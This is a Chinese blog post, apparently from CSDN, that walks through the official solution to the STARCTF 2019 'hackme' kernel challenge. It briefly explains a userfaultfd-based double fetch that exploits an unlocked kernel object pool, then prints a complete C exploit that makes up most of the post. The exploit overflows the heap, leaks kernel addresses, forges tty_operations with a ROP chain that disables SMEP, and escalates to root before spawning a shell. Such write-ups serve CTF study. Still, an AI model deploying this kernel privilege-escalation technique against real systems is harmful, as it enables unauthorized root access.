linux kernal pwn STARCTF 2019 hackme(四)官方正解利用userfaultfd机制double fetch

本文介绍了一种利用userfaultfd机制的doublefetch漏洞,通过未对poll操作加锁导致的数据竞争,实现了内存溢出并劫持tty结构,最终实现ret2usr攻击。教程详细到实战代码,包括内存管理、权限提升步骤和exploit实现。
摘要由CSDN通过智能技术生成

又是承接上文

我们上次介绍了userfaultfd机制,并且完成了一次利用
利用的方法是先用userfaultfd机制处理页错误让程序卡主,然后任意读写修改cred结构体完成提权。

这次是官方exp的正解,还是利用userfaultfd机制,做了一个double fetch。

问题出在没有对poll上锁
导致不同的线程可以对同一个object进行访问。
结合我们看到
在这里插入图片描述
free的时候没有清空size

在这里插入图片描述malloc的时候是先申请,再写,再给size赋值。
那么加入我们存在这样一个情形。

线程一正常释放了一个object 0x10000,然后申请了一个0x200的object,此时,size没变。然后copy_from_user的时候用userfaultfd机制,给他卡住。那么此时,这个object就是虽然是0x200,但是可以读写0x10000,造成溢出。

溢出的操作用另一个线程即可。

能溢出之后利用的方法也是通过溢出,劫持tty结构体的operation结构体。
最后转成ret2usr即可。

exp其实如果前面都看下来的话感觉还是很好写的。
就把前面学过的都拼一拼就好了。

下面是大佬exp 自取。
但是其实我瞅了瞅大佬exp似乎写的有些繁琐。
在泄露地址,劫持tty_operation的ioctl函数的时候完全可以用前面的
但是我也懒得改了
就酱。

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002

struct arg
{
    size_t idx;
    void *addr;
    long long len;
    long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
    struct arg cmd;
    cmd.idx = idx;
    cmd.len = len;
    cmd.addr = user;
    ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
    struct arg cmd;
    cmd.idx = idx;
    ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
    struct arg cmd;
    cmd.idx = idx;
    cmd.len = len;
    cmd.addr = user;
    cmd.offset = offset;
    ioctl(fd,READ,&cmd);    
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
    struct arg cmd;
    cmd.idx = idx;
    cmd.len = len;
    cmd.addr = user;
    cmd.offset = offset;
    ioctl(fd,WRITE,&cmd);   
}

void print_hex( char *buf,int size){
    int i;
    puts("======================================");
    printf("data :\n");
    for (i=0 ; i<(size/8);i++){
        if (i%2 == 0){
            printf("%d",i/2);
        }
        printf(" %16llx",*(size_t * )(buf + i*8));
        if (i%2 == 1){
            printf("\n");
        }       
    }
    puts("======================================");
}

size_t user_cs, user_ss,user_rflags, user_sp ,user_gs,user_es,user_fs,user_ds;
void save_status(){
    __asm__("mov %%cs, %0\n"
            "mov %%ss,%1\n"
            "mov %%rsp,%2\n"
            "pushfq\n"
            "pop %3\n"
            "mov %%gs,%4\n"
            "mov %%es,%5\n"
            "mov %%fs,%6\n"
            "mov %%ds,%7\n"
            ::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
            "m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
            );
    puts("[*]status has been saved.");
}
void sh(){
    system("sh");
    exit(0);
}
int (*commit_creds)(unsigned long cred);
unsigned long (*prepare_kernel_cred)(unsigned long cred);

void sudo(){
    commit_creds(prepare_kernel_cred(0));
    asm(
    "push %0\n"
    "push %1\n"
    "push %2\n"
    "push %3\n"
    "push %4\n"
    "push $0\n"       //rbp
    "swapgs\n"
    "pop %%rbp\n"     //rbp
    "iretq\n"
    ::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&sh)
    );
}
void errExit(char* msg)
{
  puts(msg);
  exit(-1);
}

void* handler(void *arg)
{
  struct uffd_msg msg;
  unsigned long uffd = (unsigned long)arg;
  puts("[+] handler created");

  struct pollfd pollfd;
  int nready;
  pollfd.fd      = uffd;
  pollfd.events  = POLLIN;
  nready = poll(&pollfd, 1, -1);
  if (nready != 1)  //
    errExit("[-] Wrong pool return value");
  printf("[+] Trigger! I'm going to hang\n");

  if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) 
    errExit("[-] Error in reading uffd_msg");
  assert(msg.event == UFFD_EVENT_PAGEFAULT);
  printf("[+] fault page handler finished");
  sleep(1000);
  return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
  struct uffdio_api ua;
  struct uffdio_register ur;
  pthread_t thr;

  uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  ua.api = UFFD_API;
  ua.features = 0;
  if (ioctl(uffd, UFFDIO_API, &ua) == -1)
    errExit("[-] ioctl-UFFDIO_API");
  ur.range.start = (unsigned long)fault_page;
  ur.range.len   = fault_page_len;
  ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
    errExit("[-] ioctl-UFFDIO_REGISTER"); 
  int s = pthread_create(&thr, NULL, handler, (void*)uffd);
  if (s!=0)
    errExit("[-] pthread_create");
    return;
}

#define SEARCH_SIZE 0x200000
int main(){
    save_status();
    int fd = open("/dev/hackme", 0);
    char *mem = malloc(SEARCH_SIZE);
    memset(mem,0,SEARCH_SIZE);
    uint64_t kernel_base, heap_base, ptm_unix98_ops = 0xffffffffb7825d80 - 0xffffffffb7200000; // 0x625D80
    if (fd < 0){
        printf("[-] bad open /dev/hackme\n");
        exit(-1);
    }
    alloc(fd, 0, mem, SEARCH_SIZE);
    delete(fd, 0);
    if (fork() == 0)
    {
        mem = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uint64_t fault_page = (uint64_t)mem;
        uint64_t fault_page_len = 0x1000;
        register_userfault(fault_page, fault_page_len);
        alloc(fd, 0, mem, 0x2e0);
    }
    sleep(2); 
    int ptmx_fd = open("/dev/ptmx",0);
    if (ptmx_fd < 0)
        errExit("[-] bad open /dev/ptmx");
    printf("---- begin to find ptmx struct\n");
    uint64_t evil_buf[0x200/8];
    uint64_t ptmx_offset=0;
    int j = 0;

    for (int i=0; i<SEARCH_SIZE; i+=0x200)
    {
        read_from_kernel(fd, 0, (char*)evil_buf, 0x200, i);
        for (j = 0; j < 0x200/8; j++)     // 其实一般是对齐的,所以一般 j==0
            if (evil_buf[j] == 0x0000000100005401)
            {
                ptmx_offset = i+j*8;
                printf("[+] find ptmx struct at offset: 0x%lx\n", ptmx_offset);
                break;
            }
        if (ptmx_offset != 0)
            break;
    }
    if (ptmx_offset == 0)
        errExit("[-] Cannot find ptmx struct");
    // print_hex(evil_buf+j*8, 0x200 - j*8);
    kernel_base = evil_buf[3] - ptm_unix98_ops;
    heap_base   = evil_buf[7] - 0x38 - ptmx_offset;
    printf("[+] kernel_base = 0x%lx\n", kernel_base);
    printf("[+] heap_base   = 0x%lx\n", heap_base);
    prepare_kernel_cred = 0x4d3d0 + kernel_base;
    commit_creds        = 0x4d220 + kernel_base;
    
    evil_buf[3] = (uint64_t)heap_base + 0x180;     
    evil_buf[0x38/8] = heap_base + 0x100;          
    write_to_kernel(fd, 0, evil_buf, sizeof(evil_buf), ptmx_offset);

    uint64_t fake_tty_operations[40];
    for (int i = 0; i < 0x10; i++)   //一般
        fake_tty_operations[0x80/8+i] = kernel_base + 0x5dbef; 
    fake_tty_operations[0xc8/8] = kernel_base + 0x200f66; //mov  rsp, rax;  pop  r12;  push r12; retn
    fake_tty_operations[0]  = kernel_base + 0x01b5a1; //pop rax ; ret
    fake_tty_operations[1]  = 0x6f0;
    fake_tty_operations[2]  = kernel_base + 0x0252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
    fake_tty_operations[3]  = 0xdeadbeef;
    fake_tty_operations[4]  = &sudo;
    write_to_kernel(fd, 0, fake_tty_operations, sizeof(fake_tty_operations), 0x100);
    ioctl(ptmx_fd,0xdeadbeef,0xdeadbabe);   
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值